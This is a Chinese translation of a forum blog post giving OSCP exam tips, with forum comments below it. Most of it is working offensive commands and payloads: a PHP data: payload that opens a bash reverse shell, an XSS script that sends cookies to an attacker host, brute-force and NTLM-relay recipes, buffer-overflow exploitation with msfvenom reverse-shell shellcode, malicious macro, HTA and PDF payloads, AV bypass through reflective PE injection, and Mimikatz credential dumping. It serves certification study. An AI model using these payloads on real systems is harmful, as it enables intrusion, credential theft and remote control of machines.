OSCP tips and tricks(译文)

qing16 2022-09-13 10:31:00

本文将为大家介绍如何搞定OSCP实验和考试!(100 + 10 / 100 分)
这是本人通过OSCP实验和认证过程的小结。同时,我还决定添加一些可用于实战的技巧(适用于红队、渗透测试以及逆向分析等)。当然,本文提到的许多命令、工具和技巧,大多来自其他(与OSCP相关或不相关)在线指南,相关的链接可以在参考资料部分找到。

1.png

简介

  • 枚举时要进行全方位的扫描,即使最微不足道的细节也不要放过。
  • 广度优先,始终如一。
  • 掉进兔子洞没关系,可以用排除法。
  • 如果您已经是熟练的专业人士,也可能觉得某些实验很难搞定,这是非常正常的。事实上,许多实验本身更多地依赖于CTF风格的谜语,而不是实际的渗透测试逻辑。
  • 不要低估考试期间士气的力量。请备好:糖、茶、咖啡、睡眠、r00t(追求低垂的果子有助于增强信心)。
  • 进行手动测试时,凡是可以在后台运行的,立即在后台跑起来(例如扫描、暴力破解、用户交互陷阱等)

Part 1: Essential Tools

Kali

实际上,任何提供了合适工具的发行版都是可以的:

CopyQ

https://hluk.github.io/CopyQ/

在不支持相同键盘布局(查看您的RDP)或不允许删除字符或在字符串中移动的shell中打字时特别强大。您可以先在缓冲区中准备好命令,然后发送:

Proxy plugin

https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

https://addons.mozilla.org/en-US/firefox/addon/container-proxy/

如果只想代理浏览器的某些选项卡,Container Proxy将非常有用:

1.png

My clipip.sh tool:

脚本:

 #!/bin/bash

 o=$(xclip -o |tr -d '\n')
 ip -f inet addr show tun0 | awk '/inet / {print $2}'|cut -d '/' -f1|tr -d '\n'|xclip -selection c
 #You can replace tun0 with any interface if you don't intend to use the script over a VPN (eth0, wlan0...)
 sleep 0.1
 #xdotool key ctrl+shift+v 
 # You can use this line if you prefer not to enable CTRL+V in your terminal
 xdotool key ctrl+v
 echo -n $o|xclip -selection c

在Alacritty中启用Ctrl+V快捷键:

 key_bindings:

 \- { key: V, mods: Control, action: Paste }

通过i3配置文件添加快捷键:

bindsym --release $mod+Shift+i exec <path to clipip.sh>

在此之后,只要在缓冲区按Alt+Shift+i,就会粘贴您的IP。这在OSCP过程中是非常有用的,因为VPN的出站IP可能会改变,所以需要在每个脚本、cli和payload中粘贴该地址。

Part 2: General Methodolgy

我怎么强调都不为过的一点是:广度优先,始终如是。我已经发现自己钻进兔子洞的次数多得数不清了。像驴子一样固执的我,花了整整一天的时间来研究毫无意义的exploit,而在另一个已经扫描过的端口上,只需执行searchsploit -m就能立刻找到一个初步的立足点。

1.png

这种思想意味着,我们要:

  • 注意解决挑战时想到的一切(名称、端口、服务,没有什么是随机给出的,很多都是实实在在的提示)。
  • 扫描一切。
  • 通过网络搜索每一个已知的协议或端口和相应的版本(你可能会发现非常容易利用的进程)。
  • 一旦确定已经覆盖了所有开放的东西,就开始更深入地挖掘。
  • 遵循直觉(在第一次扫描结束时响起的那个小铃铛,都在提示“哦,这是开放的???很好。”)并尝试你最初认为是最好的线索。
  • 如果或一旦证明直觉是错误的,你就可以开始运用排除法,逐一检查所有潜在的线索。

## Part 3: Information Gathering

在实验和考试中,我一遍又一遍地应用同样的方法,并且屡试不爽(当然UDP除外,这真实一个令人讨厌的协议)。

Ping Sweep

1
2
3
4
5
6
7
#! /bin/bash

for ip in $(seq 1 256); do

 fping -c 1 -t 500 $1.$ip 2>&1 |grep max|cut -d ':' -f1|tr -d ' '

done

3 steps (4 if UDP) scanning process

当然,您也可以用Nmap自动化工具,但如果您想手动操作的话,可以参考我的方法:

# Get all ports

nmap -p- -T5 -Pn <IP>|grep open|awk '{print $1}'|cut -d '/' -f1|tr '\n' ','

这样就可以得到一个可映射的端口列表,如80、443、3389、10069。

# Fingerprinting scan

sudo nmap -p <port list> -T5 -A -R -O <IP> -Pn

尽管这与下一步可能有点重复,但速度要快得多,并能为后面的扫描提供有用的东西。

# Script scan

nmap -p <port list> -T5 -sV --version-all --script default,auth,brute,discovery,vuln <IP> -Pn

虽然它还不够精细,但能找到很多有趣的信息,并且不需要任何费用。比如,可能会发现:

  • FTP身份验证(通常是匿名的)
  • HTTP文件夹和文件
  • SMB用户名称和本地信息
  • 已知的漏洞(不是很准确,但在实验过程中有过几次成功的例子)

如果没有找到任何东西,可以继续扫描UDP端口:

nmap -T5 -sU --top-ports 10000 <IP>

注意:我几乎每次都使用T5,但如果收到下面的提示:

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

则应该尝试使用较低的值(T4/T3)。

Common enumerations and vulnerabilities checks

如果您遇到的是OpenSSH<7.7的Linux,我强烈建议使用SSH用户oracle(CVE-2018-15473),因为它可以提供现有的系统用户,然后可以用于暴力攻击或喷射。我使用的这个脚本,但exploit db也提供了一个有效的脚本

python ssh-username-enum.py <IP> -w <wordlist>

1.png

我主要使用这个wordlist,但Seclists也提供了大量的常见用户名可以尝试。

另外,不要忘记补充wordlists,或者用找到的证书创建新的自定义wordlists。有些可能会被重复使用,因为某些系统存在依赖关系。

当发现Windows主机时,我建议检查SMB exploit:

nmap -T5 -sV --script 'smb-vuln*' <IP>

它将涵盖:

  • cve-2017-7494
  • cve2009-3103
  • ms06-025
  • ms07-029
  • ms08-067
  • ms10-054
  • ms10-061
  • ms17-010
  • regsvc-dos

对于漏洞Bluekeep(CVE-2019-0708),可以使用rdpscan

./rdpscan <ip>

1.png

但是,请记住,Bluekeep并不是很稳定,它很可能使目标系统崩溃。显然,即使系统存在该漏洞,也未必能够成功利用。此外,也可以使用metasploit模块来利用该漏洞:

nmap -p3389 -T5 <subnet>/24 -oG - | awk '/Up$/{print $2}' > rdp.lst

msfconsole

\> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

\> set RHOSTS file:<path to rdp.lst>

\> run

...

 [+] 10.X.X.X:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.

最后,我们要经常检查smb共享,因为有时可以在没有凭证的情况下挂载它们:

crackmapexec smb <IP> -u '' -p '' --shares

虽然大部分扫描工作可以通过nmap脚本完成,但如果有疑问,最好仔细检查一下。如果主机超时,nmap的脚本引擎可能会崩溃,您将错过一些重要的结果。

Scanning through tunnels

我强烈推荐使用这两个项目:

Socks proxy

# Run on your machine, will open port 443

chisel server -p 443 --reverse --socks5

# Run on tunneling server, will open 1080 on your local machine once connected

chisel client 192.168.119.248:443 R:socks

然后,用naabu进行端口扫描:

naabu -rate 500 -c 10 -s connect -p - -host 10.X.X.X -proxy 127.0.0.1:1080

如果运行的并发线程过多,Naabu可能会导致chisel崩溃,因此需要指定速率和工作线程。对于简单的端口扫描,Naabu通常比nmap快得多。另外,任何使用过proxychains nmap的人都知道简单扫描的速度有多慢。

Port forward

如果你打算绕过本地主机白名单(通常用于mysql、phpmyadmin,但有时也用于web界面),我建议使用端口到本地主机转发技术。例如,用mysql连接到root可能会收到这样的信息:

  ERROR 1130 (00000): HostX.X.X.Xis not allowed to connect to this MySQL server

# Run on your machine, will open port 443

chisel server -p 443 --reverse --socks5

# Open port 3306 on your local machine to proxy packets towards target

chisel client 192.168.119.248:443 R:3306:localhost:3306

然后,您可以简单地使用下面的命令:

mysql -u root -p<pass> -h 127.0.0.1

Part 4: Getting a shell

  searchsploit

  msfconsole; search

  google

完成相应的搜索工作后,通常就能找到有效的exploit,接下来,就可以使用revshell.com来获取shell了!

以下是我发现对利用各种服务非常有用的一些命令:

Useful commands

  1. 想要渗出嵌入在HTML标记中的二进制数据吗?
 wget -qO- 'http://X.X.X.X/vulnpage?vulparam=..\..\..\..\..\..\..\..\..\..\..%5cWINDOWS%5cRepair%5cSAM%00en' |perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' > SAM
  1. PHP LFI,但没有文件(php,phar)被执行?
data:text/plain,<?php passthru("bash -i >& /dev/tcp/X.X.X.X/4444 0>&1"); ?>
  1. 尝试通过Web界面获取密码?
hydra -l admin -P /usr/share/wordlists/rockyou.txt X.X.X.X http-post-form "/URL/Login:User=^USER&password=^PASS:F=<String indicating attempt has failed>" -I
  1. 在连接RDP时遇到麻烦?
  transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]

xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:rdp

# OR, if having a different connect error, also try:

xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:tls

# and if you want to have files and clipboard there:

xfreerdp +clipboard /u:user /p:'password' /v:X.X.X.X /d:domain /sec:<whatever> /drive:<absolute path to your local folder>,/
  1. 想获得机器账户的哈希值吗?

读者可以从这里找到大量的技巧

# https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcdump.py

rcpdump.py <IP>|grep MS-RPRN

# https://github.com/NotMedic/NetNTLMtoSilverTicket

python dementor.py -u Guest -p '' <target> <responder>

你也可以用ntlmrelay来重放这些哈希值,因为破解起来比较费劲:

# list machines with SMB

nmap -p139;445 -T5 <subnet>/24 -oG - | awk '/Up$/{print $2}' > smb.lst

# shortlist IP's with spooler active (might be bugged, I haven't retested it and I typed it from what I recall)

while read ip; do rcpdump.py $ip|grep -q MS-RPRN && echo $ip >> spooler.lst || :;done < smb.lst

# generate a list of targets without SMB signing

crackmapexec smb <subnet> --genrelay-list > targets.lst

# start relay server

ntlmrelayx.py -l loot -smb2support -socks -tf targets.lst

# force NetNTLMv2 authentication to your relay (need valid credentials to perform the attack)

while read ip; do python dementor.py -u user -p 'password' $ip <responder ip>;done < spooler.lst

# profit

nc localhost <port open by ntlmrelayx>

注意:与OSCP技巧相比,这更像是一个渗透测试技巧。

  1. 想来点cookie吗?
<script>document.write("<img src='http://<IP> or <request bin>'"+document.cookie+"');</script>
  1. 想知道谁的AD密码很简单吗? (username = password)
crackmapexec smb <any ip in the domain> -u users.lst -p users.lst -d domain --no-bruteforce
  1. 想要递归下载FTP服务器上的所有文件,以在本地grep吗?
wget -r ftp://user:pass@serv
  1. 想通过socks代理对phpmyadmin进行蛮力攻击吗?
patator.py http_fuzz proxy_type=socks5 proxy=localhost:1080 url=http://IP/index.php method=POST body='pma_username=root&pma_password=FILE0&server=1&target=index.php&lang=en&token=' 0=/usr/share/wordlists/rockyou.txt before_urls=http://IP/index.php accept_cookie=1 follow=1 -x ignore:fgrep='Access denied for user '

如果上面的方法都不管用,则可以尝试:

Buffer Overflow

这里没有什么新东西,与PEN 200课程中解释的方法相同,只是加上我的注释。

  1. 寻找溢出漏洞:

只要用大量的字符进行尝试,直到触发崩溃,或者如果是远程连接的,则触发连接拒绝。

  1. 确定偏移量:
msf-pattern_create -l <arbitrarily large number> -s abcdefghijklmnopqrstuvwxyz,ABCDEF,0123456789

我使用了自定义的字符集,因为我注意到由msf-pattern_create生成的字符串并不总是让目标崩溃,而且由于某个奇怪的原因,这在大多数时候都是有效的。

1.png

一旦发送了字符串,并且引发了崩溃,得到了EIP值(如果来自Immunity,则将其反转),则可以并使用以下命令检查偏移量:

msf-pattern_offset -l <same number> -s abcdefghijklmnopqrstuvwxyz,ABCDEF,0123456789 -q <hex decoded string>

[+] Exact match at offset X
  1. 确认EIP的控制效果:
python -c 'print "A"*X+"B"*4'

对于OSCP来说,缓冲区溢出总是位于32位的可执行文件中,所以EIP总是包含4个字节。在这种情况下,如果EIP寄存器在崩溃时包含42424242,就说明EIP覆盖成功了。

  1. 识别不良字符:

使用Immunity

生成字符列表:

import sys

for i in range(1,256):

 sys.stdout.write('\\x'+'{:02X}'.format(i))

用Python 2运行,因为出于某种原因,用Python 3运行上面的代码时,在不可打印的字符方面遇到了麻烦。

你应该得到如下结果:

1.png

获得Python编码的风格字符串的命令:

xxd -p badchars.txt|tr -d '\n'|sed 's/.\{2\}/\\x&/g'

现在,把它发给含有漏洞的进程:

python -c 'print "A"*X+"B"*4+<bad chars list>

一旦在Immunity中触发崩溃,复制ESP值,并通过内存映射跳到该地址。打开程序的堆栈,将视图改为16字节的行。粘贴ESP值,应该看到恶意字符出现。复制256个字节(16行),从字节(0x01)开始,粘贴到本地。然后,执行:

cat extract|awk '{print $2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17}'|tr -d '\n '|xxd -r -p > filtered

这用于将堆栈中的256个字节格式化回原始二进制文件,以使其可与原始二进制的恶意字符文件进行比较。我强烈推荐的比较工具就是Burp Suite的比较工具,因为它提供了比较字节的功能:

1.png

如果内存中没有找到完整的恶意字符列表,这意味着发送的字符串被提前终止了。这时,应该手动替换有问题的字节,并重新发送新创建的缓冲区:(我使用tweak进行十六进制编辑)

1.png

我建议用引人注目的模式替换字符,这样就不会被过滤掉了。

使用IDA

我建议使用IDA的deREferencing插件。

1.png

在运行程序之前,必须启动调试器:

1.png

一旦抵达断点或崩溃点,就可以通过点击ESP后按“*”键,从堆栈的转储中创建包含255个字符的数组:

1.png

然后使用Shift+E命令来导出IDA中的原始二进制数据:

1.png

完成上述操作后,就可以像以前一样将该文件与原始的恶意字符文件进行比较了。

使用GDB

使用GDB就更容易了:

dump binary memory filtered.bin 0xfff0e278 0xfff0e377

其中的地址应该替换为esp esp+0xFF

注意:恶意字符列表的长度为0xFF字节,因为0x00通常被省略,因为它是C风格字符串的终结符号。由于对齐的原因,通常从程序的内存中复制0x10字节比较容易,所以,会添加一个额外的字节,并且它并非来自恶意字符列表。

  1. 生成shellcode:

一旦识别出恶意字符,就可以使用以下命令生成shellcode了:

msfvenom -i 3 -n 10 -p windows/shell_reverse_tcp -b 'the bad chars you found + \x00\x0D\x0A\x20' -f hex LHOST=<your ip> LPORT=<PORT>|sed ‘s/.\{2\}/\\x&/g’

或者,如果您想偷懒的话,也可以使用-f python。我使用的是十六进制格式,因为它更容易转换为原始二进制格式,并可用于其他目的。请看下面的模式:

  \x00\x0D\x0A\x20

这是截断字符串的常见字节列表(换行符、空格、空字节),所以,我建议不停添加这些字节。当涉及到过滤恶意字节时,假阳性比假阴性更安全,因为msfvenom很可能总是设法用给定的过滤器列表来生成shellcode。

  1. 确定覆盖EIP的候选对象:

最后,您应该确定好覆盖EIP的值。它必须是一个指向可执行指令的指针。理想情况下,该指针应该:

  • 跳转到jmp esp指令或等效指令:

​ call esp

​ push esp; ret

  • 不包含任何恶意字符

在Immunity中,可以使用下面的命令来查找这种地址:

!mona jmp -r esp

此外,也可以借助于ROPGadget

ROPgadget.py --binary <file> |grep 'jmp esp'

记住,要用小端顺序和python二进制格式来写入地址。所以,0x12345678应该变成\x78\x56\x34\x12。

在某些情况下,也许可以直接跳到堆栈。虽然我不建议这样做。如果你攻击的进程是多线程的,或者是即时重启的,你可以用一个指向堆栈的地址来覆盖EIP,并希望它落入在您的NOP sled(即一系列不会有实际动作的NOP指令)中。为了使其发挥作用,应该做下面三件事:

  • 确保NOP sled尽可能大,以增加落入其中的概率
  • 找到一个候选指针,指向堆栈可能的目标位置
  • 从该处进行蛮力搜索

  • Exploit

最后的exploit应该是这样的:

python -c 'print "A"*X + <jmp esp address> + "\x90" * <arbitrary size> + <shellcode>'

虽然,就我自己来说,考试期间的exploit在第一次尝试时就成功了,并没有放任何NOP指令(实际上msfvenom生成的shellcode中已经有一些)。

User Interaction

在某些情况下,只能借助于用户交互来获得root权限。比如:

生成VBA payload

  msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f vba -o macro.vba

生成HTA payload

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta -o index.hta

生成恶意的FoxIt pdf文件

Exploit db 脚本

Impacket smbserver

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o giveyouup.exe

smbserver.py -smb2support -ip <IP> TMP .

python 49116.py \\<IP>\TMP\backdoor.exe letyoudown.pdf

Part 5: Post exploitation (privesc, av bypass, loot)

WinPEAS和LinPEAS已经涵盖了几乎所有有关权限提升的内容,详见https://github.com/carlospolop/PEASS-ng。

这是我自己的一个小清单:

1.远程目标可以在哪个端口与我进行通信?(反向tcp扫描)

获取这个脚本并使其可通过80端口下载:

wget https://github.com/InfosecMatter/Minimalistic-offensive-security-tools/raw/master/port-scan-tcp.ps1

python -m http.server 80

像设置Meterpreter/reverse_tcp_allports那样设置iptables,但确保端口80是可查询的,然后启动netcat catch-all:

sudo iptables -i tun0 -A PREROUTING -t nat -p tcp --dport 20:79 -j REDIRECT --to-port 8000

sudo iptables -i tun0 -A PREROUTING -t nat -p tcp --dport 81:6000-j REDIRECT --to-port 8000

nc -nlvp 8000

在本地运行该脚本:

powershell -ep bypass -nOp -c "iex (iwr http://192.168.119.248/port-scan-tcp.ps1 -UseBasicParsing);port-scan-tcp 192.168.119.248 (21,22,23,53,80,139,389,443,445,636,1433,3128,8080,3389,5985);"

如果powershell有输出内容的话,就可以看到目标系统可以通过哪些端口与您连接,然后,打开对应的一组端口即可(delivery、reverse shell、smb服务器等)。如果没有输出内容的话,仍然可以使用wireshark或tcpdump查看在哪些端口上接收到数据包。请记住,数据包将使用PREROUTING进行路由,因此netcat将无法看到原始目标端口。

在Linux上通过bash进行反向tcp端口扫描:

export ip=<IP>; for port in $(seq 20 6000); do nc -zv -w1 $ip $port& done
  1. 如何绕过AV,以运行我们的exe?

使用Powershell PE反射型注入:

# Use reflective PE injection over SMB:

powershell -ep bypass -sta -nop -c "iex (iwr http://IP/empire.ps1 -UseBasicParsing); $PEBytes = [IO.File]::ReadAllBytes('\\IP\\Share\\File'); Invoke-ReflectivePEInjection -PEBytes $PEBytes"

# Over HTTP:

powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-ReflectivePEInjection.ps1.1 -UseBasicParsing);Invoke-ReflectivePEInjection -PEURL http://IP/file.exe"

不过,在现实世界中,最有可能被AV拦截的就是powerhell脚本。

支持PEBytes的脚本

支持PEUrl的脚本

下面给出常见的golang反向shell:

https://gist.github.com/yougg/b47f4910767a74fcfe1077d21568070e

我使用garble进行了混淆,但请记住,大多数混淆技术实际上只会增加脚本和二进制文件的可疑性。

  1. 如何在不借助meterpreter getystem的情况下获得SeLoadDriverPrivilege?

然后,可以试试Print Nightmare,至少它对于我的实验过程帮助很大:

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o revshell.dll

wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1

python -m http.server 80

powershell -ep bypass -nop -c "iwr http://IP/revshell.dll -OutFile C:\WINDOWS\Temp\revshell.dll;iex (iwr http://IP/Invoke-Nightmare.ps1 -UseBasicParsing);Invoke-Nightmare -DLL C:\WINDOWS\Temp\revshell.dll"

脚本

  1. 想要转储凭据吗?
powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-PowerDump.ps1 -UseBasicParsing);Invoke-PowerDump"

powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-Mimikatz.ps1 -UseBasicParsing); Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"'"

PowerDump Mimikatz

  1. 想在32位模式下运行LaZagne吗?

LaZagne

编译好的版本,详见https://github.com/therealunicornsecurity/ctf_data/blob/main/laz32.exe。

  1. 想下载东西,但只有Powershell 2.0,咋整?
$url = "http://IP/file.exe" 

$path = "C:\WINDOWS\TEMP\file.exe" 

# param([string]$url, [string]$path) 

if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) { 

$targetFile = Join-Path $pwd (Split-Path -leaf $path) 

} 

(New-Object Net.WebClient).DownloadFile($url, $path) 

$path
  1. 想列出Windows上的开放端口吗?
# TCP

Get-NetTCPConnection -State Listen| select LocalAddress,LocalPort,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}

# UDP

Get-NetUDPEndpoint | select LocalAddress,LocalPort,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} 
  1. 想在32位Windows系统中运行IDA Free吗?

https://www.scummvm.org/news/20180331/

  1. 想利用具有特权的MySQL进程吗?

下面的解释再好不过了:

https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf

不过,我们还可以实现自动化:

# exploit.sql

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so';

select * from mysql.func;

select do_system('<run backdoor>');

mysql -u root -p<password> -h <target> < exploit.sql
  1. 想为32位linux系统编译exploit吗?
gcc -m32 -march=i686 code.c -o exp -static

如果出现glibc版本错误,有两条路可走:

  • gcc和所需的lib都在目标系统上:直接在那里编译exploit
  • 没有gcc或缺少lib:在目标上运行ldd--version,并尝试获得安装了相同libc的docker容器,在那里编译并传输到目标系统

  • 想交叉编译Windows的exploit吗?

# dpkg --add-architecture i386

# install mingw32/64

# 32 bits:

i686-w64-mingw32-g++-win32 exp.cpp -static -o exp

# 64 bits:

x86_64-w64-mingw32-g++ exp.cpp -static -o exp
  1. 想在Meterpreter中运行命令并查看输出吗?
execute -i -H -f "cmd"
  1. 命令提示符已被管理员禁用?

上传这个压缩包,并在本地运行cmd.exe: http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip

  1. 编译MS17-017时出现转换错误?
  error: cannot convert ‘STARTUPINFO’ {aka ‘STARTUPINFOA’} to ‘LPSTARTUPINFOW’ {aka ‘_STARTUPINFOW*’}

编辑第450行:

VOID xxCreateCmdLineProcess(VOID)

{

\+  STARTUPINFOW si = { sizeof(si) };

\-  STARTUPINFO si = { sizeof(si) };

  PROCESS_INFORMATION pi = { 0 };

  si.dwFlags = STARTF_USESHOWWINDOW;

  si.wShowWindow = SW_SHOW;

  WCHAR wzFilePath[MAX_PATH] = { L"yourexe.exe" };

  BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

  if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);

}

编译:

i686-w64-mingw32-g++-win32 44479.cpp -lgdi32 -lopengl32 -o lol.exe -static
  1. 在运行Invoke-Mimikatz.ps1和Invoke-ReflectivePEInjection.ps1时出错?
  Exception calling “GetMethod” with “1” argument(s): “Ambiguous match found.”

将下面这行:

$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')

替换为:

$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
  1. 攻击不支持现代下载文件方式的古董机器? 使用SMB Delivery呀!
msfconsole

use exploit/windows/smb/smb_delivery

msf exploit(windows/smb/smb_delivery) > set srvhost IP //your LHOST

msf exploit(windows/smb/smb_delivery) > exploit

# locally:

rundll32.exe \\IP\vabFG\test.dll,0

1.png

另外,还可以使用bitsadmin

  1. 想获取docker suid或sudo权限?
docker run -v /:/mnt -it ubuntu

一旦挂载了文件系统,就可以读写/etc/passwd和/etc/shadow了。此外,还可以在/root/.ssh/authorized_keys中添加公共ssh密钥。

  1. 想知道可以启动哪些服务吗?
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

accesschk.exe -uwcqv %USERNAME% * /accepteula

accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
  1. 如何寻找静态编译工具?

https://github.com/ernw/static-toolbox

https://github.com/andrew-d/static-binaries

  1. 想实现隐身吗?

使用meterpreter incognito:

load incognito

list tokens -u

impersonate_token <high privileges token>

如果您获得的令牌位于域上,则可以跳转到AD用户具有本地管理权限的其他目标系统上。通过powershell,可以用获得的令牌远程添加用户:

$Computername = <Your target>

$Username = <Your account>

$GroupName = "Administrators"

$DomainName = $env:USERDOMAIN

$Group = [ADSI]"WinNT://$ComputerName/$GroupName,group"

$User = [ADSI]"WinNT://$DomainName/$Username,user"

$Group.Add($User.Path)

此外,还可以使用JuicyPotato

  1. 想使用hashcat和John的大型规则列表在本地生成自定义密码字典吗?
hashcat --force <wordlist> -r /usr/share/hashcat/rules/dive.rule --stdout >> out.wl

john --wordlist=<wordlist> --rules --stdout > out.wl

你也可以使用这个密码字典。

  1. 想得到NT SYSTEM权限吗?

记住,你有一次使用Metasploit/Meterpreter的机会,好了,为什么不直接使用呢?

1.png

我选择用mine来获得AD的网络入口点的特权shell。它实际上是相当有用的,因为它允许我使用meterpreter快速获得privesc,然后用chisel和naabu进行跳转和扫描。

小结

我在实验过程中玩得很开心,考试期间也是如此。我本以为挑战题会太像CTF,而且是基于谜语而不是实战场景,但事实并非如此。最后,我觉得随着AD集的加入,OSCP可能变得更容易了。我确实认为它带来了一些真实性,因为AD通常很容易拿到root权限。

如果你有任何问题或意见,欢迎随时交流。

参考资料

https://gtfobins.github.io/

https://book.hacktricks.xyz/welcome/readme

https://lolbas-project.github.io/

https://mishrasunny174.tech/post/vulnapp_trun/

https://github.com/calebstewart/CVE-2021-1675

https://osandamalith.com/2018/02/11/mysql-udf-exploitation/

https://github.com/mitre/caldera/issues/38

https://hunter2.gitbook.io/darthsidious/privilege-escalation/token-impersonation

https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html

https://github.com/akenofu/OSCP-Cheat-Sheet

https://www.noobsec.net/oscp-cheatsheet/

评论

U

Uesaka 2022-09-20 16:06:28

说加入AD变简单的可能没遇到死亡题,2333~

Q

qing16

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

MongoDB安全 文章:3 篇
APT 文章:6 篇
Exploit 文章:40 篇
软件安全 文章:17 篇
业务安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录